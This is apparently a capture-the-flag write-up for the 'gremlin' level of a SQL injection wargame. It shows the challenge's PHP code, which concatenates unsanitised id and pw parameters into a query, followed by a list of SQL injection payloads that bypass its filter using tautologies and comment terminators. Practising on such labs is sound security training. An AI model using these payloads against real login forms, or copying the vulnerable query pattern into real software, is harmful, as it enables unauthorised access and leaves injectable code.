Post

LOS Lv.1 gremlin

gremlin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
query : select id from prob_gremlin where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

Solution

1
2
3
4
5
6
7
8
?id=' or 1 %23
?id=' or 1 --%20
?id=' or 1 ;%00
?id=admin' %23
?id=admin' --%20
?id=admin' ;%00
?id=\&pw=or 1 %23
?id=' /*!50000 or 1 */ %23
This post is licensed under CC BY 4.0 by the author.